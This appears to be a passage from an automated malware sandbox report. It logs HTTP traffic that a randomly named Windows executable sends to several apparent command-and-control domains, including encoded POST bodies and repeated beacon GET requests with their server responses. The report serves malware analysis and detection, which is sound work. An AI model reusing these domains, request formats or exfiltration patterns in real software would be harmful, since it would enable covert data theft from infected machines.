                                        Data Raw: 47 52 3d 74 73 31 52 55 73 37 50 73 74 55 37 42 48 56 67 79 56 47 33 34 6e 34 70 55 57 43 4b 4f 51 30 47 43 6f 48 46 42 62 6f 58 38 77 4e 66 6d 77 59 69 72 64 35 30 71 48 2f 77 75 56 41 7a 55 6d 44 4e 36 71 4c 4a 69 5a 49 66 4d 54 4d 78 75 65 46 6d 6a 68 72 62 48 66 32 70 78 75 70 4a 71 4d 70 54 42 4b 35 55 78 59 71 42 4f 4b 55 72 78 2f 54 4f 2b 30 70 46 43 46 6d 6b 43 78 6e 6b 56 33 77 37 32 76 4a 78 68 75 4d 43 73 62 4b 66 77 65 4d 72 63 69 36 6e 44 62 61 73 55 4b 57 53 68 69 48 56 79 52 30 2b 56 30 50 49 41 6e 6d 6c 53 6c 4a 33 70 39 55 74 2b 75 45 67 65 35 4c 58 70 47 4a 30 78 76 61 4d 31 72 30 43 30 4d 58 62 56 36 49 4a 31 62 61 59 65 6b 41 3d
                                        Data Ascii: GR=ts1RUs7PstU7BHVgyVG34n4pUWCKOQ0GCoHFBboX8wNfmwYird50qH/wuVAzUmDN6qLJiZIfMTMxueFmjhrbHf2pxupJqMpTBK5UxYqBOKUrx/TO+0pFCFmkCxnkV3w72vJxhuMCsbKfweMrci6nDbasUKWShiHVyR0+V0PIAnmlSlJ3p9Ut+uEge5LXpGJ0xvaM1r0C0MXbV6IJ1baYekA=


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        15192.168.2.4497533.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:19.917120934 CEST10882OUTPOST /p8sm/ HTTP/1.1
                                        Host: www.inspireplay.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.inspireplay.live
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 10299
                                        Referer: http://www.inspireplay.live/p8sm/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 74 73 31 52 55 73 37 50 73 74 55 37 42 48 56 67 79 56 47 33 34 6e 34 70 55 57 43 4b 4f 51 30 47 43 6f 48 46 42 62 6f 58 38 77 46 66 6e 44 51 69 71 37 78 30 72 48 2f 77 6e 31 42 30 55 6d 43 56 36 75 6e 46 69 5a 4d 50 4d 52 45 78 76 38 4e 6d 33 41 72 62 4e 66 32 70 75 2b 70 49 75 4d 70 47 42 4a 52 51 78 59 61 42 4f 4b 55 72 78 2b 6a 4f 38 68 46 46 4f 6c 6d 37 49 52 6e 67 52 33 78 73 32 76 41 4d 68 75 35 33 73 4c 71 66 78 2b 63 72 54 78 43 6e 50 62 61 75 54 4b 58 4e 68 6a 37 38 79 56 56 42 56 33 54 69 41 67 6d 6c 51 77 38 44 73 70 63 37 39 34 63 53 64 75 76 78 6e 56 70 59 2b 64 4b 58 38 5a 55 34 70 73 48 6c 58 37 74 65 74 70 6d 6c 49 77 4f 47 32 55 4c 6e 41 34 35 63 65 2f 59 57 55 75 4d 75 42 2f 6b 4b 79 38 6d 43 65 68 73 38 56 50 53 66 78 51 52 62 65 36 2b 35 51 70 6f 34 6f 44 73 43 31 74 6f 4f 4b 38 41 59 68 41 4c 49 4e 68 45 68 78 54 46 6e 76 2f 73 64 44 32 4f 47 2f 2b 6b 77 4b 78 37 64 76 65 78 72 7a 53 5a 77 58 5a 49 38 7a 35 72 4b 64 49 47 46 68 74 37 35 35 41 72 69 6a 72 30 4b 62 70 76 [TRUNCATED]
                                        Data Ascii: GR=ts1RUs7PstU7BHVgyVG34n4pUWCKOQ0GCoHFBboX8wFfnDQiq7x0rH/wn1B0UmCV6unFiZMPMRExv8Nm3ArbNf2pu+pIuMpGBJRQxYaBOKUrx+jO8hFFOlm7IRngR3xs2vAMhu53sLqfx+crTxCnPbauTKXNhj78yVVBV3TiAgmlQw8Dspc794cSduvxnVpY+dKX8ZU4psHlX7tetpmlIwOG2ULnA45ce/YWUuMuB/kKy8mCehs8VPSfxQRbe6+5Qpo4oDsC1toOK8AYhALINhEhxTFnv/sdD2OG/+kwKx7dvexrzSZwXZI8z5rKdIGFht755Arijr0KbpviEmtFjQre+Jfe+OwnSXCDVAXySxeErPwbTPjsuc76sDZybYCEWTiYejiGrNI1C9fTOQGXuVmA6bIZ/+QXSppY0CWtgZzB/erZ1QI667UW7rTCLZV6WLj9KXpOGVlkBSS1ZDihNq7g4vCaa4Ce0OU8gkfhbNlZnHn3Qsl0iXgIGcl6FEoMURhvb1coa0Y3SMWLhI0emsqfBIFZkpMKHLixrkc0AFlT3MdSt/UWoQieB+WKp/QdLRHkEiLH7A28MZZBoqr91WOjZx22OUQ7RJDBT+cRlyBO8cpnGTP3yRs5hJe3RsUA4iDWTPKJpHRMAPN0w/+pZMm0aQBeW/SzuOdeUy/xRLwsS22lxqk8H6SemcwxBK4ug2PaugVBg6QP1t/egTK16B36ChZCBCyeBY06dL2Mk+Q1vF6V3QCm5tW9gbDAa+Ib9HmnGa8ofhirrlC/bdNjo+p9nKHRK3YgMqjZq8tVMWzQktmiJkAK3FAjp4jDwLSl55lfDo2LDXqMyR5jkBhZSS4vC5WIn6DmWcc3rnz1griGTEncxGwCR4lwo5uVbXS5qZYkwN/6y4VxHnp5u1dlvWDvf956CZzcALKc8ZVcVWu9nbWBX24KU2Y02CkgUsyt7iwwYVFYtuCh71CXM48jPRPtLUkCtnYLm4PULLHfNQC5F5sPX [TRUNCATED]


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        16192.168.2.4497543.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:22.513636112 CEST508OUTGET /p8sm/?GR=gudxXcfIjfM6RSgjlHSXwEEWc2+zEXg0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjubt2jusNNuut2QLx2iafcYqdrxcPN6iJJGks=&Xf=4Zt4tvDx HTTP/1.1
                                        Host: www.inspireplay.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Sep 19, 2024 15:05:22.815845013 CEST508OUTGET /p8sm/?GR=gudxXcfIjfM6RSgjlHSXwEEWc2+zEXg0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjubt2jusNNuut2QLx2iafcYqdrxcPN6iJJGks=&Xf=4Zt4tvDx HTTP/1.1
                                        Host: www.inspireplay.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Sep 19, 2024 15:05:23.425199032 CEST508OUTGET /p8sm/?GR=gudxXcfIjfM6RSgjlHSXwEEWc2+zEXg0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjubt2jusNNuut2QLx2iafcYqdrxcPN6iJJGks=&Xf=4Zt4tvDx HTTP/1.1
                                        Host: www.inspireplay.live
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Sep 19, 2024 15:05:23.666877985 CEST390INHTTP/1.1 200 OK
                                        Server: openresty
                                        Date: Thu, 19 Sep 2024 13:05:23 GMT
                                        Content-Type: text/html
                                        Content-Length: 250
                                        Connection: close
                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 47 52 3d 67 75 64 78 58 63 66 49 6a 66 4d 36 52 53 67 6a 6c 48 53 58 77 45 45 57 63 32 2b 7a 45 58 67 30 4b 4c 6d 42 57 61 4e 63 78 68 68 63 75 78 38 67 32 61 4e 73 2b 6b 71 4f 33 46 51 4d 44 56 6e 4c 6b 70 48 4d 73 75 67 59 47 51 77 49 6d 2b 67 7a 30 79 6a 75 62 74 32 6a 75 73 4e 4e 75 75 74 32 51 4c 78 32 69 61 66 63 59 71 64 72 78 63 50 4e 36 69 4a 4a 47 6b 73 3d 26 58 66 3d 34 5a 74 34 74 76 44 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?GR=gudxXcfIjfM6RSgjlHSXwEEWc2+zEXg0KLmBWaNcxhhcux8g2aNs+kqO3FQMDVnLkpHMsugYGQwIm+gz0yjubt2jusNNuut2QLx2iafcYqdrxcPN6iJJGks=&Xf=4Zt4tvDx"}</script></head></html>


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        17192.168.2.449755156.242.132.8280932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:29.317135096 CEST777OUTPOST /p2q3/ HTTP/1.1
                                        Host: www.shanhaiguan.net
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.shanhaiguan.net
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 199
                                        Referer: http://www.shanhaiguan.net/p2q3/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 49 49 65 72 39 4b 71 63 55 43 74 63 6f 4f 63 6d 4b 66 4a 65 4f 64 2f 52 2f 70 6b 67 78 59 41 32 45 72 72 36 75 44 46 4a 57 2b 45 49 6c 51 73 52 38 4e 64 51 70 54 4b 59 44 53 7a 63 7a 65 50 6c 38 7a 48 42 65 71 64 30 69 2f 72 61 4c 47 30 74 34 48 59 75 64 79 6b 2b 38 6e 44 2f 34 4d 32 34 72 51 34 54 38 35 53 66 33 34 68 72 7a 54 75 4f 45 36 45 4d 4b 66 31 6b 63 4e 55 6c 63 78 4c 33 67 57 66 61 38 36 4f 72 50 43 66 46 67 37 6f 52 34 67 34 56 65 42 69 35 4d 53 37 4f 77 75 47 2b 48 79 35 48 34 34 7a 48 70 61 59 31 69 2b 6b 66 67 49 79 68 66 50 6b 63 4c 64 77 75 70 6e 52 4e 62 51 3d 3d
                                        Data Ascii: GR=IIer9KqcUCtcoOcmKfJeOd/R/pkgxYA2Err6uDFJW+EIlQsR8NdQpTKYDSzczePl8zHBeqd0i/raLG0t4HYudyk+8nD/4M24rQ4T85Sf34hrzTuOE6EMKf1kcNUlcxL3gWfa86OrPCfFg7oR4g4VeBi5MS7OwuG+Hy5H44zHpaY1i+kfgIyhfPkcLdwupnRNbQ==


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        18192.168.2.449756156.242.132.8280932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:31.872271061 CEST797OUTPOST /p2q3/ HTTP/1.1
                                        Host: www.shanhaiguan.net
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.shanhaiguan.net
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 219
                                        Referer: http://www.shanhaiguan.net/p2q3/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 49 49 65 72 39 4b 71 63 55 43 74 63 70 76 73 6d 48 63 52 65 4c 39 2f 53 38 70 6b 67 71 6f 41 79 45 72 33 36 75 47 70 6e 57 73 77 49 6c 78 63 52 37 4a 70 51 75 54 4b 59 62 43 7a 56 73 4f 50 51 38 7a 4b 2b 65 71 78 30 69 2f 76 61 4c 44 51 74 37 30 77 74 53 43 6b 34 6c 33 44 68 6c 38 32 34 72 51 34 54 38 35 47 35 33 34 35 72 7a 44 65 4f 56 72 45 50 4a 66 31 72 62 4e 55 6c 59 78 4c 7a 67 57 66 6b 38 37 53 4e 50 45 44 46 67 35 67 52 37 30 55 53 56 42 69 7a 44 79 36 37 2b 75 6a 75 48 58 77 76 34 5a 4f 6b 6e 49 6f 74 71 59 31 46 78 35 54 32 4e 50 41 76 57 61 35 61 6b 6b 73 45 41 5a 38 64 37 64 4a 35 75 41 47 43 39 4e 2b 36 6e 6b 31 32 4c 57 63 3d
                                        Data Ascii: GR=IIer9KqcUCtcpvsmHcReL9/S8pkgqoAyEr36uGpnWswIlxcR7JpQuTKYbCzVsOPQ8zK+eqx0i/vaLDQt70wtSCk4l3Dhl824rQ4T85G5345rzDeOVrEPJf1rbNUlYxLzgWfk87SNPEDFg5gR70USVBizDy67+ujuHXwv4ZOknIotqY1Fx5T2NPAvWa5akksEAZ8d7dJ5uAGC9N+6nk12LWc=


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        19192.168.2.449757156.242.132.8280932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:34.419470072 CEST10879OUTPOST /p2q3/ HTTP/1.1
                                        Host: www.shanhaiguan.net
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.shanhaiguan.net
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 10299
                                        Referer: http://www.shanhaiguan.net/p2q3/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 49 49 65 72 39 4b 71 63 55 43 74 63 70 76 73 6d 48 63 52 65 4c 39 2f 53 38 70 6b 67 71 6f 41 79 45 72 33 36 75 47 70 6e 57 73 6f 49 6c 44 55 52 39 75 31 51 76 54 4b 59 46 53 7a 51 73 4f 50 33 38 7a 53 36 65 71 74 6b 69 38 48 61 61 56 63 74 2b 42 4d 74 4a 53 6b 34 34 6e 44 38 34 4d 32 58 72 51 6f 58 38 35 57 35 33 34 35 72 7a 46 61 4f 56 36 45 50 47 2f 31 6b 63 4e 56 6b 63 78 4c 50 67 57 57 66 38 37 6d 37 4d 33 62 46 75 35 51 52 72 58 73 53 63 42 69 39 50 53 36 6a 2b 75 65 30 48 58 45 4e 34 5a 72 4c 6e 4c 30 74 6f 73 55 76 6d 5a 6e 4c 62 63 6f 69 41 6f 74 75 6c 6c 55 32 5a 72 39 70 33 73 46 2b 32 78 47 5a 37 66 44 53 32 55 52 4d 51 69 72 48 75 45 6c 62 68 43 78 33 6b 4e 4d 75 63 66 2b 35 30 34 46 59 35 34 57 48 36 6e 78 44 5a 42 37 6b 4d 64 39 50 57 6e 58 6c 58 4b 36 33 62 65 6e 5a 70 49 63 51 64 79 63 57 64 71 35 38 37 46 6c 4a 49 49 44 31 53 78 50 56 71 36 79 70 30 74 70 42 74 36 67 2f 53 37 4a 57 7a 68 72 49 69 50 53 59 78 61 75 76 77 36 41 50 30 56 48 46 71 63 4b 4e 41 75 45 4a 68 43 38 [TRUNCATED]
                                        Data Ascii: GR=IIer9KqcUCtcpvsmHcReL9/S8pkgqoAyEr36uGpnWsoIlDUR9u1QvTKYFSzQsOP38zS6eqtki8HaaVct+BMtJSk44nD84M2XrQoX85W5345rzFaOV6EPG/1kcNVkcxLPgWWf87m7M3bFu5QRrXsScBi9PS6j+ue0HXEN4ZrLnL0tosUvmZnLbcoiAotullU2Zr9p3sF+2xGZ7fDS2URMQirHuElbhCx3kNMucf+504FY54WH6nxDZB7kMd9PWnXlXK63benZpIcQdycWdq587FlJIID1SxPVq6yp0tpBt6g/S7JWzhrIiPSYxauvw6AP0VHFqcKNAuEJhC8s7UiyNqii1in2H0SmpPHL9FFSl0zLa5zLFfyLJID2MC4gG+5j5IzGiYK79WV6x5ufpQUe4IOOkOY3bYoduACEe+4kWG5Ay+2zYyIpbGtYw5idcPDNpTwMxbmCmEQKMOtGwBN2gQ1pCpyamrN2BWWTp56qMe5zg68NvbS7UzMJfc2HJ5CuSsZE550AqRr2v0rOB7B3/U1Aw9xWbPcgfqmF2QbsT50f5atfqWYCy+i/om37bKt/FzLmAwfftGz3DF90tbAxYCdQ4EPKeUd8izajmj19+0I4y0RV2AO6fYe/QwKyK5L0FQk6i3HbQpK/f5xOd5Rg86o9ctxmEQW6GbIZiR6iDkUupUaF49cioTNx50qhs6ESCRjwjlfEHkbs+zGF/kzZ59W9Wy5NdWeFWhG+WqXttHDURp7Z4qszCiqCqookNPOEjdl2Cl1dPxnsrkG6F/O0YmZtzINVlJr1O680GRKt3xL7fXgge2A6O83Tlpe9ZPaFvamawprpSOr7KXNRTCVEKY8hAd5PbRANsOQLUePJgK45CKREymcHmVNCWiPjWZi8mUEgl2R4dUQLQSzIC2xfKIYBZ2uYfFnryPDmzlnvz8YxnF+F102dKvGveCF2Zh8bcN09G+w9e9RYi4Yv16ayrwzCKGUXQLNThMuTDP9sGaL2edBtT [TRUNCATED]


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        20192.168.2.449758156.242.132.8280932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:05:36.961143970 CEST507OUTGET /p2q3/?GR=FK2L+8PIei1GuvtlS8gCO8fM4ZQmscEbBI34s0k1PsRmujAOjfMM4GbCZxnV6srYixPIeZB0oPqoKkF830AnIDgf70T/wPSZ3Q0Y3Iy42KJKjy26SpAoBvI=&Xf=4Zt4tvDx HTTP/1.1
                                        Host: www.shanhaiguan.net
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        21192.168.2.449759136.143.186.1280932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:06:03.969917059 CEST771OUTPOST /ivo1/ HTTP/1.1
                                        Host: www.lanxuanz.tech
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.lanxuanz.tech
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 199
                                        Referer: http://www.lanxuanz.tech/ivo1/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 53 4a 54 6c 46 64 39 4f 6e 32 36 32 48 6e 2f 51 76 64 37 69 4a 4b 4f 47 55 6c 55 50 79 59 56 51 2b 6d 6e 64 35 30 64 34 37 36 43 70 38 32 36 51 45 6e 76 4c 6b 65 47 39 45 75 46 61 4e 67 69 75 39 47 61 62 37 43 44 50 6a 41 67 4b 74 53 7a 4c 58 6a 62 58 2b 34 39 39 57 54 70 49 67 58 2f 2f 5a 76 61 70 38 57 4f 49 6e 74 48 74 65 50 6a 4d 53 2b 74 2f 68 30 4c 64 32 42 31 31 38 73 4e 59 79 73 30 5a 48 4d 70 38 4b 57 43 5a 64 4d 2f 4f 69 4c 76 6e 33 57 39 72 34 39 56 41 46 73 6c 45 44 30 7a 42 4f 4a 30 38 2b 65 2b 4a 5a 65 48 65 61 36 36 66 4f 53 4b 58 6b 6c 75 4e 4a 35 32 69 4c 51 3d 3d
                                        Data Ascii: GR=SJTlFd9On262Hn/Qvd7iJKOGUlUPyYVQ+mnd50d476Cp826QEnvLkeG9EuFaNgiu9Gab7CDPjAgKtSzLXjbX+499WTpIgX//Zvap8WOIntHtePjMS+t/h0Ld2B118sNYys0ZHMp8KWCZdM/OiLvn3W9r49VAFslED0zBOJ08+e+JZeHea66fOSKXkluNJ52iLQ==
                                        Sep 19, 2024 15:06:04.577279091 CEST1236INHTTP/1.1 404
                                        Server: ZGS
                                        Date: Thu, 19 Sep 2024 13:06:04 GMT
                                        Content-Type: text/html
                                        Transfer-Encoding: chunked
                                        Connection: close
                                        Set-Cookie: zalb_8ae64e9492=cd858cf068bec389eea549b00143a3a9; Path=/
                                        Set-Cookie: csrfc=11163d17-5b0d-4804-8ba2-38ff26f534d9;path=/;priority=high
                                        Set-Cookie: _zcsr_tmp=11163d17-5b0d-4804-8ba2-38ff26f534d9;path=/;SameSite=Strict;priority=high
                                        Cache-Control: private,no-cache,no-store,max-age=0,must-revalidate
                                        Pragma: no-cache
                                        Expires: Thu, 01 Jan 1970 00:00:00 GMT
                                        vary: accept-encoding
                                        Content-Encoding: gzip
                                        Data Raw: 35 36 66 0d 0a 1f 8b 08 00 00 00 00 00 00 00 cd 58 5b 6f db 36 14 7e df af 60 15 b4 68 b1 28 92 25 2b 76 15 d9 c5 96 0c c5 9e 3a a0 03 86 0d 7b a1 25 ca 22 42 91 02 49 c7 4e 82 fd f7 1d 52 b2 ad 6b 93 f5 69 76 03 8b e2 b9 f1 7c df 39 24 9b bc b9 fb 72 fb fb 9f bf fd 82 0a 5d b2 f5 0f 49 fd 83 10 4a 0a 82 33 fb 64 06 25 d1 18 71 5c 92 95 23 c5 46 68 e5 a0 54 70 4d b8 5e 39 5c 50 9e 91 c3 25 e2 22 17 8c 89 bd 79 c2 32 2d e8 03 31 8f 8a d3 aa 22 da 41 de c9 9c a6 9a 91 f5 5f a2 10 89 57 3f 1f 67 18 e5 f7 48 3f 56 e0 48 93 83 f6 52 05 ae 24 61 2b 47 e9 47 46 54 41 8c a5 42 92 7c e5 78 7b b2 c9 21 0a f5 29 c7 25 65 8f ab 2f 15 e1 3f 7e c5 5c c5 73 df bf bc f6 7d e7 64 d7 6a 1f 47 f0 d9 88 ec f1 f9 3c 84 8f b1 e4 d6 86 62 c7 58 42 c6 92 73 89 14 fc b8 8a 48 9a df 0c 15 14 7d 22 f1 6c 56 1d ba 73 25 96 5b ca 63 1f de a3 ce 44 85 b3 8c f2 ed c8 cc 06 a7 f7 5b 29 76 3c 73 53 c1 84 8c 2f f2 c8 7c 5b 86 ff 39 3f 5e 69 51 dd 1a 31 f5 3c 61 25 46 6e 29 9e 5c 48 28 c1 d2 dd 4a 9c 51 80 eb 3d 23 b9 be 44 17 b9 3f [TRUNCATED]
                                        Data Ascii: 56fX[o6~`h(%+v:{%"BINRkiv|9$r]IJ3d%q\#FhTpM^9\P%"y2-1"A_W?gH?VHR$a+GGFTAB|x{!)%e/?~\s}djG<bXBsH}"lVs%[cD[)v<sS/|[9?^iQ1<a%Fn)\H(JQ=#D?_Euu,Xyo?LSt7Ba6%?DvL1)R{7V</fKOsN{vPc}0@J0|-NeNt$E+Ca^uK0gE,0][`Zn~.^D %cT,#|K1{Q;,1oz&j5#ZIdZA@OXU0_Qcq&?!S
                                        Sep 19, 2024 15:06:04.577305079 CEST723INData Raw: c4 9a 5a 58 38 05 97 29 f2 ef 81 e3 55 a0 be 94 ef ab 5a 00 f6 d9 e7 e9 9c c0 6c 7b 93 6b ab 67 c2 34 cd ba d3 f4 2c 34 dd c7 f4 f0 bb 68 4a df 6a 53 9e 8b 89 32 b1 09 9f 4f 97 da 49 1f 31 8a fa 36 da b0 5f 7f 03 32 c3 56 c0 ad 37 cd a8 02 6d 73
                                        Data Ascii: ZX8)UZl{kg4,4hJjS2OI16_2V7msr$0Njq{}7Mpa [^Xw7)fGL6n0WE5<5-VI0F#)514csjq\GQ=uwOS{<,GrK


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        22192.168.2.449760136.143.186.1280932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:06:06.530112982 CEST791OUTPOST /ivo1/ HTTP/1.1
                                        Host: www.lanxuanz.tech
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.lanxuanz.tech
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 219
                                        Referer: http://www.lanxuanz.tech/ivo1/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 53 4a 54 6c 46 64 39 4f 6e 32 36 32 48 48 50 51 75 2b 6a 69 49 71 4f 46 62 46 55 50 70 6f 55 62 2b 6d 72 64 35 32 78 6f 38 4d 36 70 37 54 47 51 57 6d 76 4c 6a 65 47 39 4f 4f 46 56 4a 67 69 78 39 47 57 39 37 44 2f 50 6a 41 30 4b 74 54 44 4c 57 55 48 55 2f 6f 39 37 5a 7a 6f 4f 75 33 2f 2f 5a 76 61 70 38 57 61 6d 6e 74 66 74 65 2b 54 4d 53 62 5a 38 73 55 4c 43 68 78 31 31 72 38 4e 55 79 73 31 36 48 4f 4d 52 4b 55 36 5a 64 4f 33 4f 6a 65 44 6b 35 57 39 58 30 74 55 43 4c 63 39 50 61 68 65 7a 44 72 77 44 30 2b 71 79 59 59 57 45 4c 4c 62 49 63 53 75 6b 35 69 6e 35 45 36 4c 72 51 54 64 32 47 77 59 4a 33 51 53 42 38 50 57 32 46 54 61 37 43 6d 59 3d
                                        Data Ascii: GR=SJTlFd9On262HHPQu+jiIqOFbFUPpoUb+mrd52xo8M6p7TGQWmvLjeG9OOFVJgix9GW97D/PjA0KtTDLWUHU/o97ZzoOu3//Zvap8Wamntfte+TMSbZ8sULChx11r8NUys16HOMRKU6ZdO3OjeDk5W9X0tUCLc9PahezDrwD0+qyYYWELLbIcSuk5in5E6LrQTd2GwYJ3QSB8PW2FTa7CmY=
                                        Sep 19, 2024 15:06:07.124798059 CEST1236INHTTP/1.1 404
                                        Server: ZGS
                                        Date: Thu, 19 Sep 2024 13:06:07 GMT
                                        Content-Type: text/html
                                        Transfer-Encoding: chunked
                                        Connection: close
